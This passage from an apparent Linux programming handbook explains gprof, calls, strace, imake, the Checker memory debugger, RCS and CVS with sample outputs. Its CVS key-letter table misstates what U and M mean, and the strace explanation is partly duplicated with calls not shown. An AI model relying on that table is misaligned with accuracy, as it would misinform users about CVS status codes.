  4.92     56.81     3.00  1811863     0.00     0.00  TrimNeighbors
If any of the fields are blank in the output, gprof was unable to determine any further information about that function. This is usually caused by parts of the code that were not compiled with the -pg option; for example, if you call routines in nonstandard libraries that haven't been compiled with -pg, gprof won't be able to gather much information about those routines. In the previous output, the function mcount probably hasn't been compiled with profiling enabled.

As we can see, 45.11% of the total running time was spent in the function GetComponent--which amounts to 27.49 seconds. But is this because GetComponent is horribly inefficient or because GetComponent itself called many other slow functions? The functions Push and Pop were called many times during execution: could they be the culprits?[52]

[52]Always a possibility where this author's code is concerned!

The second part of the gprof report can help us here. It gives a detailed "call graph" describing which functions called other functions and how many times they were called. For example:

index % time    self  children    called     name
                                                 <spontaneous>
[1]     92.7    0.00   47.30                 start [1]
                0.01   47.29       1/1           main [2]
                0.00    0.00       1/2           on_exit [53]
                0.00    0.00       1/1           exit [172]
The first column of the call graph is the index: a unique number given to every function, allowing you to find other functions in the graph. Here, the first function, start, is called implicitly when the program begins. start required 92.7% of the total running time (47.30 seconds), including its children, but required very little time to run itself. This is because start is the parent of all other functions in the program, including main; it makes sense that start plus its children requires that percentage of time.

The call graph normally displays the children as well as the parents of each function in the graph. Here, we can see that start called the functions main, on_exit, and exit (listed below the line for start). However, there are no parents (normally listed above start); instead, we see the ominous word <spontaneous>. This means that gprof was unable to determine the parent function of start; more than likely because start was not called from within the program itself but kicked off by the operating system.

Skipping down to the entry for GetComponent, or function-under-suspect, we see the following:

index % time    self  children    called     name
                0.67    0.23       1/41          GetFirstComponent [12]
               26.82    9.30      40/41          GetNextComponent [5]
[4]     72.6   27.49    9.54      41         GetComponent [4]
                6.54    0.00 1811863/1811863     Push [7]
                3.00    0.00 1811863/1811863     TrimNeighbors [9]
                0.00    0.00       1/1           InitStack [54]
The parent functions of GetComponent were GetFirstComponent and GetNextComponent, and its children were Push, TrimNeighbors, and InitStack. As we can see, GetComponent was called 41 times--one time from GetFirstComponent and 40 times from GetNextComponent. The gprof output contains notes that describe the report in more detail.

GetComponent itself requires over 27.49 seconds to run; only 9.54 seconds are spent executing the children of GetComponent (including the many calls to Push and TrimNeighbors!). So it looks as though GetComponent and possibly its parent GetNextComponent need some tuning; the oft-called Push function is not the sole cause of the problem.

gprof also keeps track of recursive calls and "cycles" of called functions and indicates the amount of time required for each call. Of course, using gprof effectively requires that all code to be profiled is compiled with the -pg option. It also requires a knowledge of the program you're attempting to profile; gprof can only tell you so much about what's going on. It's up to the programmer to optimize inefficient code.

One last note about gprof: running it on a program that calls only a few functions--and runs very quickly--may not give you meaningful results. The units used for timing execution are usually rather coarse--maybe one-hundredth of a second--and if many functions in your program run more quickly than that, gprof will be unable to distinguish between their respective running times (rounding them to the nearest hundredth of a second). In order to get good profiling information, you may need to run your program under unusual circumstances--for example, giving it an unusually large data set to churn on, as in the previous example.

If gprof is more than you need, calls is a program that displays a tree of all function calls in your C source code. This can be useful to generate either an index of all called functions or to produce a high-level hierarchical report of the structure of a program.

Use of calls is simple: you tell it the names of the source files to map out, and a function-call tree is displayed. For example:

papaya$ calls scan.c
    1   level1 [scan.c]
    2           getid [scan.c]
    3                   getc
    4                   eatwhite [scan.c]
    5                           getc
    6                           ungetc
    7                   strcmp
    8           eatwhite [see line 4]
    9           balance [scan.c]
   10                   eatwhite [see line 4]
By default, calls lists only one instance of each called function at each level of the tree (so that if printf is called five times in a given function, it is listed only once). The -a switch prints all instances. calls has several other options as well; using calls -h gives you a summary.

14.2.3. Using strace

strace is a tool that displays the system calls being executed by a running program.[53] This can be extremely useful for real-time monitoring of a program's activity, although it does take some knowledge of programming at the system-call level. For example, when the library routine printf is used within a program, strace displays information only about the underlying write system call when it is executed. Also, strace can be quite verbose: many system calls are executed within a program that the programmer may not be aware of. However, strace is a good way to quickly determine the cause for a program crash or other strange failure.

[53]Debian users may find the ltrace package useful as well. It's a library call tracer that tracks all library calls, not just calls to the kernel; users of other distributions can download the latest version of the source at ftp://ftp.debian.org/debian/dists/unstable/main/ source/utils /.

Take the "Hello, World!" program given earlier in the chapter. Running strace on the executable hello gives us:

papaya$ strace hello
execve("./hello", ["hello"], [/* 49 vars */]) = 0
mmap(0, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS,\
 -1, 0) = 0x40007000
mprotect(0x40000000, 20881, PROT_READ|PROT_WRITE|PROT_EXEC) = 0
mprotect(0x8048000, 4922, PROT_READ|PROT_WRITE|PROT_EXEC) = 0
stat("/etc/ld.so.cache", {st_mode=S_IFREG|0644, st_size=18612,\
 ...}) = 0
open("/etc/ld.so.cache", O_RDONLY)      = 3
mmap(0, 18612, PROT_READ, MAP_SHARED, 3, 0) = 0x40008000
close(3)                                = 0
stat("/etc/ld.so.preload", 0xbffff52c)  = -1 ENOENT (No such\
 file or directory)
open("/usr/local/KDE/lib/libc.so.5", O_RDONLY) = -1 ENOENT (No\
 such file or directory)
open("/usr/local/qt/lib/libc.so.5", O_RDONLY) = -1 ENOENT (No\
 such file or directory)
open("/lib/libc.so.5", O_RDONLY)        = 3
read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3"..., 4096) = 4096
mmap(0, 770048, PROT_NONE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = \
0x4000d000
mmap(0x4000d000, 538959, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_\
FIXED, 3, 0) = 0x4000d000
mmap(0x40091000, 21564, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_\
FIXED, 3, 0x83000) = 0x40091000
mmap(0x40097000, 204584, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_\
FIXED|MAP_ANONYMOUS, -1, 0) = 0x40097000
close(3)                                = 0
mprotect(0x4000d000, 538959, PROT_READ|PROT_WRITE|PROT_EXEC) = 0
munmap(0x40008000, 18612)               = 0
mprotect(0x8048000, 4922, PROT_READ|PROT_EXEC) = 0
mprotect(0x4000d000, 538959, PROT_READ|PROT_EXEC) = 0
mprotect(0x40000000, 20881, PROT_READ|PROT_EXEC) = 0
personality(PER_LINUX)                  = 0
geteuid()                               = 501
getuid()                                = 501
getgid()                                = 100
getegid()                               = 100
fstat(1, {st_mode=S_IFCHR|0666, st_rdev=makedev(3, 10), ...}) = 0
mmap(0, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS,\
 -1, 0) = 0x40008000
ioctl(1, TCGETS, {B9600 opost isig icanon echo ...}) = 0
write(1, "Hello World!\n", 13Hello World!
)          = 13
_exit(0)                                = ?
papaya$
This may be much more than you expected to see from a simple program. Let's walk through it, briefly, to explain what's going on.

The first call execve starts the program itself. All the mmap, mprotect, and munmap calls come from the kernel's memory management and are not really interesting here. In the three consecutive open calls, the loader is looking for the C library and finds it on the third try. The library header is then read and the library mapped into memory. After a few more memory-management operations and the calls to getuid, geteuid, getgid, and getegid, which retrieve the rights of the process, there is a call to ioctl. The ioctl is the result of a tcgetattr library call, which the program uses to retrieve the terminal attributes before attempting to write to the terminal. Finally, the write call prints our friendly message to the terminal and exit ends the program.

The calls to munmap (which unmaps a memory-mapped portion of a file) and brk (which allocates memory on the heap) set up the memory image of the running process. The ioctl call is the result of a tcgetattr library call, which retrieves the terminal attributes before attempting to write to it. Finally, the write call prints our friendly message to the terminal, and exit ends the program.

strace sends its output to standard error, so you can redirect it to a file separately from the actual output of the program (usually on standard output). As you can see, strace tells you not only the names of the system calls, but also their parameters (expressed as well-known constant names, if possible, instead of just numerics) and return values.

14.2.4. make and imake

We have already introduced make, the project manager used to compile projects, among other things. One problem with make is that makefiles aren't always easy to write. When large projects are involved, writing a makefile with cases for each kind of source file can be tedious. Even with the built-in make defaults, this is often more work than should be necessary.

One solution is to use imake, an extension to make based on the use of the C preprocessor. imake is simply a makefile generator: you write an Imakefile that imake converts to a robust makefile. imake is used by programs in the X Window System distribution but is not limited to use by X applications.

We should note at this point that imake can simplify the process of writing makefiles, especially for compiling C programs. However, make is more generally applicable than imake for this task. For example, you can use make to automatically format documents using groff or TeX. In this case, you need the flexibility of make alone, and imake may not be the best solution.

Here is a sample Imakefile that builds two programs, laplacian and getstat. At the top of the Imakefile, options for the entire compilation are specified (imake has its own defaults for these, but they aren't always useful). Following that, variables are defined for each program to be compiled, and the imake macros AllTarget and NormalProgramTarget create makefile rules for compiling these programs:

# Linker options:
LDOPTIONS = -L/usr/local/lib -L../lib
# The C compiler to use:
CC = gcc
# Flags to be used with gcc:
CFLAGS = -I. -I$(HOME)/include -g
# Local and system libraries to link against:
LOCAL_LIBRARIES = -lvistuff
SYS_LIBRARIES = -lm

# Specify the sources in the SRCS variable, and the corresponding object
# files in the variable LAP_OBJS.
SRCS = laplacian.c laplacian-main.c
LAP_OBJS = laplacian.o laplacian-main.o

# Create rules for building laplacian.
AllTarget(laplacian)
NormalProgramTarget(laplacian,$(LAP_OBJS),,$(LOCAL_LIBRARIES),\
$(SYS_LIBRARIES))

# Do the same thing for getstat. Note that SRCS can be redefined for each
# target, but LAP_OBJS can't, so we use a unique name for each target.
SRCS = getstat.c getstat-main.c component.c
GS_OBJS = getstat.o getstat-main.o component.o

AllTarget(getstat)
NormalProgramTarget(getstat,$(GS_OBJS),,$(LOCAL_LIBRARIES),\
$(SYS_LIBRARIES))

Note that we must use a different variable for the object files for each target, although SRCS can be redefined for each.

In order to translate the Imakefile into a makefile, use the command xmkmf. xmkmf will simply run imake with the options to do the translation correctly, using the default imake macros (such as AllTarget and NormalProgramTarget). You can then issue make to compile the program:

papaya$ xmkmf
mv Makefile Makefile.bak
imake -DUseInstalled -I/usr/X386/lib/X11/config
papaya$
If you want to use your own imake macros, you can invoke imake by hand using the appropriate options. The imake and xmkmf manual pages should fill in the gaps. Software Portability with imake by Paul DuBois is another guide to the system.

If you find imake too complex for your taste, other "makefile makers" are available as well, such as ICmake, which generates makefiles using a macro language similar to C.

If you have compiled software packages yourself, you will often have found compilation instructions that told you to run a provided script called configure. This is produced by a Makefile generator called autoconf, which is often used together with another program called automake. autoconf and automake are not easy to use, but they give you way more flexibility than imake, ICmake, and all other Makefile generators. Unfortunately, the usage of autoconf is way beyond the scope of this book. If you're interested in this, get yourself a copy from the archives and start reading the documentation.

14.2.5. Using Checker

Checker is a replacement for the various memory-allocation routines, such as malloc, realloc, and free, used by C programs. It provides smarter memory-allocation procedures and code to detect illegal memory accesses and common faults, such as attempting to free a block of memory more than once. Checker displays detailed error messages if your program attempts any kind of hazardous memory access, helping you to catch segmentation faults in your program before they happen. It can also detect memory leaks--for example, places in the code where new memory is malloc'd without being free'd after use.

Checker is not just a replacement for malloc and friends. It also inserts code into your program to verify all memory reads and writes. It is very robust and therefore somewhat slower than the regular malloc routines. Checker is meant to be used during program development and testing; once all potential memory-corrupting bugs have been fixed, you can link your program with the standard libraries.

For example, take the following program, which allocates some memory and attempts to do various nasty things with it:

#include <malloc.h>
int main() {
  char *thememory, ch;

  thememory=(char *)malloc(10*sizeof(char));

  ch=thememory[1];     /* Attempt to read uninitialized memory */
  thememory[12]=' ';   /* Attempt to write after the block */
  ch=thememory[-2];    /* Attempt to read before the block */
}
We simply compile this program with the -lchecker option, which links it with the Checker libraries. Upon running it, we get the following error messages (among others):
From Checker:
        Memory access error
        When Reading at address 0x10033
        inside the heap
        1 bytes after the begin of the block

From Checker:
        Memory access error
        When Writing at address 0x1003e
        inside the heap
        2 bytes after the end of the block
From Checker:
        Memory access error
        When Reading at address 0x10030
        inside the heap
        2 bytes before the begin of the block
 For each memory violation, Checker reports an error and gives us information on what happened. The actual Checker error messages include information on where the program is executing as well as where the memory block was allocated. You can coax even more information out of Checker if you wish, and, along with a debugger such as gdb, you can pinpoint problems easily.[54]

[54]We have edited the output somewhat in order to remove extraneous information and to increase readability for the purpose of the example.

Checker also provides a garbage collector and detector you can call from within your program. In brief, the garbage detector informs you of any memory leaks: places where a function malloc'd a block of memory but forgot to free it before returning. The garbage collector routine walks through the heap and cleans up the results of these leaks. You can also call the garbage collector and detector manually when running the program from within gdb (as gdb allows you to directly call functions during execution).

14.2.6. Interface Building Tools

A number of applications and libraries let you easily generate a user interface for your applications under the X Window System. If you do not want to bother with the complexity of the X programming interface, using one of these simple interface-building tools may be the answer for you. There are also tools for producing a text-based interface for programs that don't require X.

The classic X programming model has attempted to be as general as possible, providing only the bare minimum of interface restrictions and assumptions. This generality allows programmers to build their own interface from scratch, as the core X libraries don't make any assumptions about the interface in advance. The X Toolkit Intrinsics (Xt) provides a rudimentary set of interface widgets (such as simple buttons, scrollbars, and the like), as well as a general interface for writing your own widgets if necessary. Unfortunately this can require a great deal of work for programmers who would rather use a set of pre-made interface routines. A number of Xt widget sets and programming libraries are available for Linux, all of which make the user interface easier to program.

In addition, the commercial Motif library and widget set is available from several vendors for an inexpensive single-user license fee. Also available is the XView library and widget interface, which is another alternative to using Xt for building interfaces under X. XView and Motif are two sets of X-based programming libraries that in some ways are easier to program than the X Toolkit Intrinsics. Many applications are available that utilize Motif and XView, such as XVhelp (a system for generating interactive hypertext help for your program). Binaries statically linked with Motif may be distributed freely and used by people who don't own Motif itself.

Before you start developing with XView or Motif, a word of caution is in order. XView, which was once a commercial product of Sun Microsystems, has been dropped by the developers and is no longer maintained. Also, while some people like the look, the programs written with XView look very nonstandard. Motif on the other hand is still being actively developed (albeit rather slowly), but has some problems itself. First, programming with Motif can be frustrating, because it is difficult, error prone, and cumbersome since the Motif API was not designed according to modern GUI API design principles. Also, Motif programs tend to run very slowly.

But there are other widget sets and interface libraries for X like:

Xaw3D

A modified version of the standard Athena widget set which provides a 3D, Motif-like look and feel

Qt

A C++ GUI toolkit written by the Norwegian company Troll Tech

GTK

A C GUI toolkit that was originally written for the image manipulation program GIMP

Many people complain that the Athena widgets are too plain in appearance. Xaw3D is completely compatible with the standard Athena set and can even replace the Athena libraries on your system, giving all programs that use Athena widgets a modern look. Xaw3D also provides a few widgets not found in the Athena set, such as a layout widget with a TeX-like interface for specifying the position of child widgets.

Qt is an excellent package for GUI development in C++ that sports an ingenious mechanism for connecting user interaction with program code, a very fast drawing engine, and a comprehensive but easy-to-use API. Qt is considered by many as the successor to Motif as the de facto GUI programming standard, because it is the foundation of the desktop KDE (see "Section 11.3, "The K Desktop Environment"" in Chapter 11, "Customizing Your X Environment"), which has gotten a lot of interest.

Qt is a commercial product, but you can use it for free if you write free software for Unix (and hence Linux) systems with it. There is also a (commercial) Windows version of Qt, which makes it possible to develop for Linux and Windows at the same time and create an application for the other platform by simply recompiling. Imagine being able to develop on your favorite operating system Linux and still being able to target the larger Windows market! One of the authors, Kalle, uses Qt to write both free software (the KDE Desktop Environment just mentioned) and commercial software (often cross-platform products that are developed for Linux and Windows). Qt is being very actively developed; for more information, see Programming with Qt by Kalle Dalheimer.

For those who do not like to program in C++, GTK might be a good choice. GTK programs usually offer just as good response time as Qt programs, but the toolkit itself is not as complete. Documentation especially is lacking. For C-based projects, though, GTK is good alternative if you do not need to be able to recompile your code on Windows.

Many programmers are finding that building a user interface, even with a complete set of widgets and routines in C, requires much overhead and can be quite difficult. This is a question of flexibility versus ease of programming: the easier the interface is to build, the less control the programmer has over it. Many programmers are finding that prebuilt widgets are adequate enough for their needs, so the loss in flexibility is not a problem.

One of the problems with interface generation and X programming is that it is difficult to generalize the most widely used elements of a user interface into a simple programming model. For example, many programs use features such as buttons, dialog boxes, pull-down menus, and so forth, but almost every program uses these widgets in a different context. In simplifying the creation of a graphical interface, generators tend to make assumptions about what you'll want. For example, it is simple enough to specify that a button, when pressed, should execute a certain procedure within your program, but what if you want the button to execute some specialized behavior the programming interface does not allow for? For example, what if you wanted the button to have a different effect when pressed with mouse button 2 instead of mouse button 1? If the interface-building system does not allow for this degree of generality, it is not of much use to programmers who need a powerful, customized interface.

The Tcl/Tk programming interface described in the previous chapter is growing in popularity, partly because it is so simple to use and provides a good amount of flexibility. Because Tcl and Tk routines can be called from interpreted "scripts" as well as internally from a C program, it is not difficult to tie the interface features provided by this language and toolkit to functionality in the program. Using Tcl and Tk is on the whole less demanding than learning to program Xlib and Xt (along with the myriad of widget sets) directly. It should be noted, though, that the larger a project gets, the more likely it is that you will want to use a language like C++ that is more suited towards large-scale development. For several reasons, larger projects tend to become very unwieldy with Tcl: the use of an interpreted language slows the execution of the program, Tcl/Tk design is hard to scale up to large projects, and important reliability features like compile- and link-time type checking are missing. The scaling problem is improved by the use of namespaces (a way to keep names in different parts of the program from clashing) and an object-oriented extension called [incr Tcl].

TclMotif, a version of Tcl bound with the popular Motif widget set, is also available for Linux. The Motif widgets are widely acclaimed to be easy to program and pleasant to use. The advantage of TclMotif is that the binary is freely distributable although Motif itself is a commercial product. Therefore, you do not have to own Motif to use TclMotif. TclMotif will in effect let you write programs that use Motif widgets and routines through the Tcl interface. A statically linked binary is available on a number of Linux FTP sites and from other sources. If you want to recompile TclMotif itself, for some reason, you need to own Motif in order to do so.

Wafe is another version of Tcl/Tk that includes the Athena widgets and miscellaneous other tools that make the programming model easier to use. If you are accustomed to programming Xt with the Athena widgets, but you want to move to Tcl and Tk, Wafe is a good place to start.

Tcl and Tk allow you to generate an X-based interface complete with windows, buttons, menus, scrollbars, and the like, around your existing program. The interface may be accessed from a Tcl script (as described in the section "Section 13.5.2, "Writing Tk Applications"" in Chapter 13, "Programming Languages") or from within a C program.

Another interface-building tool much like Tcl and Tk is xtpanel. xtpanel is meant primarily to generate an X interface "wrapper" around an existing text-based program. xtpanel allows you to set up a window with various panes, text editing regions, buttons, scrollbars, and so on, and bind the actions of these widgets to features in the program. For example, one could use xtpanel to produce an X-based interface for the gdb debugger, similar to xxgdb. You could define a "step" button which, when pressed, sends the step command to the regular gdb interface. A text-editing pane could be defined to interact with gdb in the regular way. Of course, doing something more complex, like setting up a source-view pane, would be difficult using something as general as xtpanel.

If you like the Tk toolkit, but do not like the programming language Tcl, you will be delighted to hear that you can use Tk with other languages as well; it has become the GUI toolkit of choice for the scripting languages Python and Perl, too.

If you require a nice text-based interface for a program, there are several options. The GNU getline library is a set of routines that provides advanced command-line editing, prompting, command history, and other features used by many programs. As an example, both bash and gdb use the getline library to read user input. getline provides the Emacs and vi-like command-line editing features found in bash and similar programs. (The use of command-line editing within bash is described in the section "Section 4.7, "Typing Shortcuts"" in Chapter 4, "Basic Unix Commands and Concepts".)

Another option is to write a set of Emacs interface routines for your program. An example of this is the gdb Emacs interface, which sets up multiple windows, special key sequences, and so on, within Emacs. The interface is discussed in the earlier section "Section 14.1.6.3, "Using Emacs with gdb"." (No changes were required to gdb code in order to implement this: look at the Emacs library file gdb.el for hints on how this was accomplished.) Emacs allows you to start up a subprogram within a text buffer and provides many routines for parsing and processing text within that buffer. For example, within the Emacs gdb interface, the gdb source listing output is captured by Emacs and turned into a command that displays the current line of code in another window. Routines written in Emacs LISP process the gdb output and take certain actions based on it.

The advantage to using Emacs to interact with text-based programs is that Emacs is a powerful and customizable user interface within itself. The user can easily redefine keys and commands to fit her own needs; you don't need to provide these customization features yourself. As long as the text interface of the program is straightforward enough to interact with Emacs, customization is not difficult to accomplish. In addition, many users prefer to do virtually everything within Emacs--from reading electronic mail and news, to compiling and debugging programs. Giving your program an Emacs frontend allows it to be used more easily by people with this mindset. It also allows your program to interact with other programs running under Emacs--for example, text can easily be cut and pasted between different Emacs text buffers. You can even write entire programs using Emacs LISP, if you wish.

14.2.7. Revision Control Tools--RCS

Revision Control System (RCS) has been ported to Linux. This is a set of programs that allow you to maintain a "library" of files that records a history of revisions, allows source-file locking (in case several people are working on the same project), and automatically keeps track of source-file version numbers. RCS is generally used with program source-code files, but is general enough to be applicable to any type of file where multiple revisions must be maintained.

Why bother with revision control? Many large projects require some kind of revision control in order to keep track of many tiny complex changes to the system. For example, attempting to maintain a program with a thousand source files and a team of several dozen programmers would be nearly impossible without using something like RCS. With RCS, you can ensure that only one person may modify a given source file at any one time, and all changes are checked in along with a log message detailing the change.

RCS is based on the concept of an RCS file, a file which acts as a "library" where source files are "checked in" and "checked out." Let's say that you have a source file importrtf.c that you want to maintain with RCS. The RCS filename would be importrtf.c,v by default. The RCS file contains a history of revisions to the file, allowing you to extract any previous checked-in version of the file. Each revision is tagged with a log message that you provide.

When you check in a file with RCS, revisions are added to the RCS file, and the original file is deleted by default. In order to access the original file, you must check it out from the RCS file. When you're editing a file, you generally don't want someone else to be able to edit it at the same time. Therefore, RCS places a lock on the file when you check it out for editing. A locked file may only be modified by the user who checks it out (this is accomplished through file permissions). Once you're done making changes to the source, you check it back in, which allows anyone working on the project to check it back out again for further work. Checking out a file as unlocked does not subject it to these restrictions; generally, files are checked out as locked only when they are to be edited but are checked out as unlocked just for reading (for example, to use the source file in a program build).

RCS automatically keeps track of all previous revisions in the RCS file and assigns incremental version numbers to each new revision that you check in. You can also specify a version number of your own when checking in a file with RCS; this allows you to start a new "revision branch" so that multiple projects can stem from different revisions of the same file. This is a good way to share code between projects but also to assure that changes made to one branch won't be reflected in others.

Here's an example. Take the source file importrtf.c, which contains our friendly program:

#include <stdio.h>

int main(void) {
  printf("Hello, world!");
}
 The first step is to check it into RCS with the ci command:
papaya$ ci importrtf.c
importrtf.c,v  <--  importrtf.c
enter description, terminated with single '.' or end of file:
NOTE: This is NOT the log message!
>> Hello world source code
>> .
initial revision: 1.1
done
papaya$
The RCS file importrtf.c,v is created, and importrtf.c is removed.

In order to work on the source file again, use the co command to check it out. For example:

papaya$ co -l importrtf.c
importrtf.c,v  -->  importrtf.c
revision 1.1 (locked)
done
papaya$
will check out importrtf.c (from importrtf.c,v) and lock it. Locking the file allows you to edit it, and to check it back in. If you only need to check the file out in order to read it (for example, to issue a make), you can leave the -l switch off of the co command to check it out unlocked. You can't check in a file unless it is locked first (or it has never been checked in before, as in the example).

Now, you can make some changes to the source and check it back in when done. In many cases, you'll want to always have the file checked out and use ci to merely record your most recent revisions in the RCS file and bump the version number. For this, you can use the -l switch with ci, as so:

papaya$ ci -l importrtf.c
importrtf.c,v  <--  importrtf.c
new revision: 1.2; previous revision: 1.1
enter log message, terminated with single '.' or end of file:
>> Changed printf call
>> .
done
papaya$
This automatically checks out the file, locked, after checking it in. This is a useful way to keep track of revisions even if you're the only one working on a project.

If you use RCS often, you may not like all of those unsightly importrtf.c,v RCS files cluttering up your directory. If you create the subdirectory RCS within your project directory, ci and co will place the RCS files there, out of the way from the rest of the source.

In addition, RCS keeps track of all previous revisions of your file. For instance, if you make a change to your program that causes it to break in some way and want to revert to the previous version to "undo" your changes and retrace your steps, you can specify a particular version number to check out with co. For example:

papaya$ co -l1.1 importrtf.c
importrtf.c,v  -->  importrtf.c
revision 1.1 (locked)
writable importrtf.c exists; remove it? [ny](n): y
done
papaya$
checks out version 1.1 of the file importrtf.c. You can use the program rlog to print the revision history of a particular file; this displays your revision log entries (entered with ci) along with other information such as the date, the user who checked in the revision, and so forth.

RCS automatically updates embedded "keyword strings" in your source file at checkout time. For example, if you have the string:

/* $Header$ */
in the source file, co will replace it with an informative line about the revision date, version number, and so forth, as in:
/* $Header: /work/linux/hitch/programming/tools/RCS/rcs.tex 1.2 1994/12/04 15:19:31 mdw Exp mdw $ */

Other keywords exist as well, such as $Author$ $Date$, and $Log$ (the latter keeps a complete record of the log entries for each revision embedded in the source file).

Many programmers place a static string within each source file to identify the version of the program after it has been compiled. For example, within each source file in your program, you can place the line:

static char rcsid[] = "\@(#)$Header$";

co replaces the keyword $Header$ with a string of the form given here. This static string survives in the executable, and the what command displays these strings in a given binary. For example, after compiling importrtf.c into the executable importrtf, we can use the command:

papaya$ what importrtf
importrtf:
        $Header: /work/linux/hitch/programming/tools/RCS/rcs.tex
                      1.2 1994/12/04 15:19:31 mdw Exp mdw $
papaya$
what picks out strings beginning with the characters @(#) in a file and displays them. If you have a program that has been compiled from many source files and libraries, and you don't know how up to date each of the components are, you can use what to display a version string for each source file used to compile the binary.

RCS has several other programs in its suite, including rcs, used for maintaining RCS files. Among other things, rcs can give other users permission to check out sources from an RCS file. See the manual pages for ci, co, and rcs for more information.

14.2.8. Revision Control Tools--CVS

CVS, the Concurrent Version System, is more complex than RCS and thus perhaps a little bit oversized for one-man projects. But whenever more than one or two programmers are working on a project or the source code is distributed over several directories, CVS is the better choice. CVS uses the RCS file format for saving changes, but employs a management structure of its own.

By default, CVS works with full directory trees. That is, each CVS command you issue affects the current directory and all the subdirectories it contains, including their subdirectories and so on. This recursive traversal can be switched off with a command-line option, or you can specify a single file for the command to operate on.

CVS has formalized the sandbox concept that is used in many software development shops. In this concept, there is a so-called repository containing the "official" sources that are known to compile and work (at least partly). No developer is ever allowed to directly edit files in this repository. Instead, each developer checks out a local directory tree, the so-called sandbox. Here, he can edit the sources to his heart's delight, make changes, add or remove files, and do all sorts of things that developers usually do (no, not playing Quake or eating marshmallows). When the developer has made sure that her changes compile and work, she transmits them to the repository again and thus makes them available for the other developers.

When you as a developer have checked out a local directory tree, all the files are writable. You can make any necessary changes to the files in your personal workspace. When you have finished local testing and feel sure enough of your work to share the changes with the rest of the programming team, you write any changed files back into the central repository by issuing a CVS commit command. CVS then checks whether another developer has checked in changes since you checked out your directory tree. If this is the case, CVS does not let you check your changes in, but asks you first to take the changes of the other developers over to your local tree. During this update operation, CVS uses a sophisticated algorithm to reconcile ("merge") your changes with those of the other developers. There are cases in which this is not automatically possible. In this case, CVS informs you that there have been conflicts and asks you to resolve those. The file in question is marked up with special characters so that you can see where the conflict has occurred and decide which version should be used. Note that CVS makes sure that conflicts can only occur in local developers' trees. There is always a consistent version in the repository.

14.2.8.1. Setting up a CVS repository

If you are working in a larger project, it is likely that someone else has already set up all the necessary machinery to use CVS. But if you are your project's administrator or you just want to tinker around with CVS on your local machine, you will have to set up a repository yourself.

First, set your environment variable CVSROOT to a directory where you want your CVS repository to be. CVS can keep as many projects as you like in a repository and makes sure they do not interfere with each other. Thus, you just have to pick a directory once to store all projects maintained by CVS, and you won't need to need to change it when you switch projects. Instead of using the variable CVSROOT, you can always use the command-line switch -d with all CVS commands, but since this is cumbersome to type all the time, we will assume that you have set CVSROOT.

Once the directory exists for a repository, you can create the repository itself with the following command (assuming that CVS is installed on your machine):

$tigger cvs init

There are several different ways to create a project tree in the CVS repository. If you already have a directory tree, but it is not yet managed by RCS, you can simply import it into the repository by calling:

$tigger cvs import directory manufacturer tag
where directory is the name of the top-level directory of the project, manufacturer is the name of the author of the code (you can use whatever you like here) and tag is a so-called release tag that can be chosen at will. For example:

$tigger cvs import dataimport acmeinc initial
... lots of output ...

If you want to start a completely new project, you can simply create the directory tree with mkdir calls and then import this empty tree like shown in the previous example.

If you want to import a project that is already managed by RCS, things get a little bit more difficult, because you cannot use cvs import. In this case, you have to create the needed directories directly in the repository and then copy all RCS files (all files that end in ,v) into those directories. Do not use RCS subdirectories here!

Every repository contains a file named CVSROOT/modules that contains names of projects in the repository. It is a good idea to edit the modules file of the repository to add the new module. You can check out, edit, and check in this file like every other file. Thus, in order to add your module to the list, do the following (we will cover the various commands soon):

$tigger cvs checkout CVSROOT/modules
$tigger cd CVSROOT
$tigger emacs modules
... or any other editor of your choice, see below for what to enter ...
$tigger cvs commit modules
$tigger cd ..
$tigger cvs release -d CVSROOT

If you are not doing anything fancy, the format of the modules file is very easy: Each line starts with the name of module, followed by a space or tab and the path within the repository. There are many more things you can do with the modules file which you can find in the CVS documentation, especially in the Info pages or at http://www.loria.fr/~molli/cvs-index.html.

14.2.8.2. Working with CVS

In the following section, we will assume that either you or your system administrator has set up a module called dataimport. You can now check out a local tree of this module with the following command:

$tigger cvs checkout dataimport

If there is no module defined for the project you want to work on, you need to know the path within the repository. For example, something like the following could be needed:

$tigger cvs checkout clients/acmeinc/dataimport

Whichever version of the checkout command you use, CVS will create a directory called dataimport under your current working directory and check out all files and directories from the repository that belong to this module. All files are writable, and you can start editing them right away.

After you have made some changes, you can write back the changed files into the repository with one single command:

$tigger cvs commit

Of course, you can also check in single files:

$tigger cvs commit importrtf.c

But whatever you do, CVS will ask you--as RCS does--for a comment to include with your changes. But CVS goes a step beyond RCS in convenience. Instead of the rudimentary prompt from RCS, you get a full-screen editor to work in. You can choose this editor by setting the environment variable CVSEDITOR; if this is not set, CVS looks in EDITOR, and if this is not defined either, CVS invokes vi. If you check in a whole project, CVS will use the comment you entered for each directory in which there have been changes but will start a new editor every time to ask you whether you might want to change each file.

As already mentioned, it is not necessary to set CVSROOT correctly for checking files in, because when checking the tree out, CVS has created a directory CVS in each work directory. This directory contains all the information that CVS needs for its work, including where to find the repository.

While you have been working on your files, it may well be that a co-worker has checked in some of the files that you are currently working on. In this case, CVS will not let you check in your files but asks you to first update your local tree. Do this with the command:

$tigger cvs update
M importrtf.c
A exportrtf.c
? importrtf
U importword.c

(You can specify a single file here as well.) You should carefully examine the output of this command: CVS outputs the names of all the files it handles, each preceded by a single key letter. This letter tells you what has happened during the update operation. The most important letters are shown in Table 14-1.

Table 14-1. Key Letters for Files Under CVS

Letter | Explanation
P | The file has been updated. The P is shown if the file has been added to the repository in the meantime or if it has been changed, but you have not made any changes to this file yourself.
U | You have changed this file in the meantime, but nobody else has.
M | You have changed this file in the meantime, and somebody else has checked in a newer version. All the changes have been merged successfully.
C | You have changed this file in the meantime, and somebody else has checked in a newer version. During the merge attempt, conflicts have arisen.
? | CVS has no information about this file, that is, this file is not under CVS's control.

The C is the most important of those letters. CVS was not able to merge all changes and needs your help. Load those files into your editor and look for the string <<<<<<<. After this string, the name of the file is shown again, followed by your version, ending with a line containing =======. Then comes the version of the code from the repository, ending with a line containing >>>>>>>. You now have to find out--probably by communicating with your co-worker--which version is better or whether it is possible to merge the two versions by hand. Change the file accordingly and remove the CVS markings <<<<<<<, ======= and >>>>>>>. Save the file and once again commit it.

